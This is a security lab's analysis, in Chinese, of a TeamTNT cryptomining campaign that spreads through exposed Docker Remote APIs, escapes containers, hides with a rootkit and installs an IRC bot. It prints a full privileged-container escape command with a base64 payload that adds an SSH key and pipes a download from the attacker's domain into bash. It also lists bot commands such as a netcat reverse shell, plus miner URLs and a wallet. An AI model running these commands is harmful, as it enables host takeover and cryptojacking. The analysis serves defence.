再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘

雲鼎實驗室發表於2021-10-20

一、背景

騰訊安全雲鼎實驗室持續監控雲原生在野攻擊威脅態勢,繼DockerHub發現百萬下載量黑產映象(詳見文章DockerHub再現百萬下載量黑產映象,小心你的容器被挖礦)之後,近期實驗室最新捕獲到TeamTNT駭客團隊新型在野容器攻擊活動,相比之前TeamTNT挖礦木馬,此次新型攻擊手法對原挖礦木馬進行了升級,並利用容器環境進行感染傳播。

透過對TeamTNT新型容器攻擊樣本詳細分析,我們發現挖礦病毒是透過掃描docker remote api未授權訪問漏洞進行傳播。相比之前TeamTNT駭客團隊出的挖礦木馬,此次對原挖礦木馬進行了升級,在進行感染時使用了新的策略。入侵後會先進行清理其他挖礦,並使用新的隱藏程式方法,入侵完畢後會清理痕跡,覆蓋系統日誌以逃避排查,為增加挖礦木馬植入的成功率還有備用挖礦程式,增加木馬的穩定性,利用nohup命令不結束通話地執行挖礦,並且在使用LKM rootkit技術隱藏程式。

該樣本屬於最新版本TEAMTNT樣本,被雲鼎實驗室哨兵系統(雲上分散式蜜罐和沙箱)第一時間捕獲。本文將會使用ATT&CK矩陣溯源分析樣本在入侵、持久化、容器逃逸等完整攻擊路徑,為大家清晰還原駭客攻擊手法和全貌。

二、樣本產生時間與流行分析

樣本的開發時間大約在2021年09月14日編寫完畢,雲鼎實驗室哨兵系統在9月14號第一時間捕獲,並進行了詳細的分析。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


哨兵捕獲的網路包:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


樣本流行程度:

透過哨兵智慧情報統計系統,樣本在剛剛爆發的2周內較為流行,隨後感染率持續下降。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


三、樣本att&ck矩陣分析

TEAMTNT的新樣本透過docker remote API傳播,過程中使用了 特權容器,容器逃逸,LKM rootkit 等先進攻擊方式,下面是對於整個攻擊過程的ATT&CK矩陣。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


下圖為攻擊流程,我們將整個過程分為五個部分講解:1、初始化訪問與對外掃描 2、執行3、許可權提升-容器逃逸 4、攻擊持久化 5、防禦繞過

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


3.1 攻擊向量-初始訪問與橫向掃描—Remote API 漏洞:

DockerRemote API :是一個取代遠端命令列介面(rcli)的REST API,預設繫結2375埠。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感資訊洩露,駭客也可以刪除Docker上的資料。攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感資訊,或對敏感檔案進行修改,最終完全控制伺服器。

A、掃描獲取docker API版本

呼叫masscan 和 zgrab掃描目標IP,透過請求舊版本的命令,可以獲取到最新的docker API版本。

通常獲取1.16版本,會返回如下資訊:

Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version

相關程式碼如下:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


B、利用Remote API漏洞:

直接透過Remote API漏洞,遠端啟動傳播病毒的容器映象 alpineos/dockerapi,容器使用完成後會自動清除容器內部的檔案系統。啟動alpine 容器進行容器逃逸。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


透過騰訊雲容器安全服務TCSS發現存在Remote API未授權訪問風險節點和詳細資訊:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


3.2 攻擊向量-執行:

在目標機器上的命令執行透過特權容器執行惡意指令,進行挖礦和病毒傳播。

A、惡意映象alpineos/dockerapi:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


經查詢,alpineos帳號註冊時間為2021年5月26日,其中alpineos/dockerapi映象更新時間為截止目前已有一個月,大約有7600臺主機被感染。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


透過騰訊雲容器安全服務TCSS對該映象進行掃描,發現該映象存在木馬病毒,掃描結果如下圖:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


映象啟動時會執行名為pause的指令碼,pause指令碼用於病毒的傳播。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


B、映象Alpine

正規白映象,映象大小隻有5M,方便下載,teamTNT使用這個映象進行容器逃逸。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


3.3攻擊向量-許可權提升----Docker逃逸:

TEAMTNT 使用的逃逸方法是特權模式+SSH

特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root許可權,而此前在容器內的root使用者只有外部物理機普通使用者的許可權。

使用特權模式啟動容器後(docker run --privileged),Docker容器被允許可以訪問主機上的所有裝置、可以獲取大量裝置檔案的訪問許可權。

TEAMTNT 病毒容器執行的逃逸命令如下:

docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine

chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'

第一步:建立特權容器

docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine

容器本身為乾淨的alpine容器。

第二步:SSH容器逃逸

在root目錄下 複製ssh金鑰到宿主機,透過訪問127.0.0.1 從而進行容器逃逸。

上述程式碼解密後如下:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


逃逸後,可以在宿主機上下載moneroocean_miner.sh等指令碼進行挖礦。

3.4攻擊向量-防禦繞過----清理痕跡與程式隱藏:

在植入挖礦病毒後,會透過diamorphine.sh來隱藏程式,之後清理痕跡。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


A、透過diamorphine.sh 隱藏程式:

從github.com/m0nad/Diamorphine下載安裝編譯Diamorphine,載入核心模組dia.ko。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


Diamorphine是一個LKM rootkit ,功能就是 程式隱藏、模組隱藏,使用者root許可權獲取,帶有Magic-prefix 開頭的檔案和目錄隱藏。

這裡重點介紹一下 程式隱藏部分。

Rootkit初始化部分會hook getdents、getdents64 和kill 三個函式,其中被hook的kill 函式用於接受命令,進行程式隱藏、root等動作。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


Hacked_kill 定義了3個引數,31 用來隱藏程式,64用來獲取root,63用來隱藏自身模組。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


被hook的kill程式碼如下:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


透過 for_each_process遍歷程式列表找到目標程式,把程式標誌設定為PF_INVISIBLE 從而達到隱藏程式的目標。

Find_task程式碼如下:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


透過kill命令的31訊號隱藏挖礦程式(xmrig),並清理記錄

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


B、痕跡清理

清除命令歷史記錄:

透過刪除/bash_history 和 執行history -c 命令,清除命令歷史記錄。

清除wtmp,secure、cron 和mail 日誌。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


C、ld.so.preload清理模組

ld.so.preload清理模組使用了base64編碼,解密後可以看到以下功能。

檢查/etc/ld.so.preload預載入檔案,刪除空的ld.so.preload檔案,如果ld.so.preload有預載入程式,則對其進行清理。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


為了能成功刪除,重新寫了檔案刪除函式。檔案刪除函式中使用了chattr和intrecht、ichdarf三個命令,這三個命令實為同一種功能,TeamTNT駭客團隊曾經在入侵時,重新命名過系統命令。為能成功執行,系統命令和重新命名過的命令一起執行,以提高成功率。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


3.5攻擊向量—持久化—釋放遠控

TEAMTNT會下載Chimaera IRC 遠控木馬,木馬沒有加殼,功能較為豐富,這裡不做過多介紹。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


相關命令和描述如下圖所示:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


整理後如下表所示:

Command

Description (from the binary)

NICK <nick>

Changes the nick of the client

SERVER <server>

Changes servers

GETSPOOFS

Gets the current spoofing

SPOOFS <subnet>

Changes spoofing to a subnet

DISABLE

Disables all packeting from this client

ENABLE

Enables all packeting from this client

GET <http address> <save as>

Downloads a file off the web and saves it onto the hd

UPDATE <http address> <src:bin>

Update this bot

HACKPKG <http address> <bin name>

HackPkg is here! Install a bin, using http, no depends!

VERSION

Requests version of client

HELP

Displays this

IRC <command>

Sends this command to the server

SH <command>

Executes a command

ISH <command>

SH, interactive, sends to channel

SHD <command>

Executes a pseudo-daemonized command

GETBB <tftp server>

Get a proper busybox

INSTALL <http server/file_name>

Download & install a binary to /var/bin

BASH <cmd>

Execute commands using bash.

BINUPDATE <http:server/package>

Update a binary in /var/bin via wget

SCAN <nmap options>

Call the nmap wrapper script and scan with your opts.

RSHELL <server> <port>

Equates to nohup nc ip port -e /bin/sh

LOCKUP <http:server>

Kill telnet, d/l aes backdoor from <server>, run that instead.

GETSSH <http:server/dropbearmulti>

D/l, install, configure and start dropbear on port 30022

TOETEDENCLIENT

Kill client

UPDATE

update

四、挖礦部分分析

Moneroocean.sh指令碼主要用來挖礦:

更改linux最大檔案控制程式碼數的限制,以提高穩定性。並配置防火牆,放行資料包。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


清理動態預載入預載入ld.preload,木馬通常使用使用此技術來隱藏木馬檔案,可以實現劫持,TeamTNT團隊的新挖礦程式,清理了此載入檔案,更換隱藏技術,並且可以排除其他挖礦程式,以達到資源獨佔。清理模組使用了base64編碼,上文有進一步分析。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


清理其他部分主流挖礦域名:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


還原ps命令,並清理定時任務,有些挖礦木馬存在修改系統命令:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


清理痕跡,清空系統日誌,指令碼最後有呼叫。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


清理其他挖礦程式,簡單粗暴判定CPU佔用65%以上的都為挖礦程式,並結束程式,以達到資源獨佔的目的。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


實現下載功能,實現類似wget curl功能,用於下載wget curl:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


檢查系統中是否有curl,如果沒有則從自己伺服器上下載curl程式:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


下載錢包檔案,並準備兩個挖礦安裝包,其中一個為備用安裝包:

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


中止原有的的挖礦程式,下載新版挖礦木馬後重新命名,並解壓後刪除安裝包

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


檢測挖礦程式是否正常工作,如果被破壞則下載備用挖礦程式,解壓後刪除安裝包

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


設定挖礦密碼,把使用者錢包,密碼,礦池地址寫入配置檔案,並重新命名為“config_background.json”。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


建立miner.sh指令碼,把指令碼寫入.profile,以便在登陸時在後臺執行。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


修改大頁記憶體hugepages值,以提高挖礦效率。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


建立挖礦服務,服務名為“SystemRaid.service”。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


增加挖礦木馬的健壯性,將挖礦程式在後臺執行。

再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘


清理痕跡並透過執行diamorphine.sh來隱藏程式。

挖礦資訊總結:

礦池:dl.chimaera.cc:21582

錢包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq

首選挖礦程式:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz

備用挖礦程式:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz

URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh;http://teamtnt.red/sh/setup/diamorphine.sh

五、如何防禦

騰訊安全持續在容器安全上進行投入和相關研究,構建了完整的容器安全防護和服務保障體系,針對容器環境下的安全問題,騰訊雲容器安全服務透過資產管理、映象安全、執行時安全、安全基線四大核心能力來保障容器的全生命週期安全,為企業提供映象掃描、執行時安全檢測(容器逃逸、反彈shell、檔案查殺)、高階防禦(異常程式攔截、檔案篡改保護、高危系統呼叫監控)、安全基線檢測、資產管理一站式容器安全防護。容器安全服務已整合騰訊雲鼎實驗室最新容器安全情報,可第一時間檢測黑產容器映象,並針對新型在野攻擊進行有效防禦,企業可透過容器安全服務及時發現容器安全風險並快速構建容器安全防護體系。


相關文章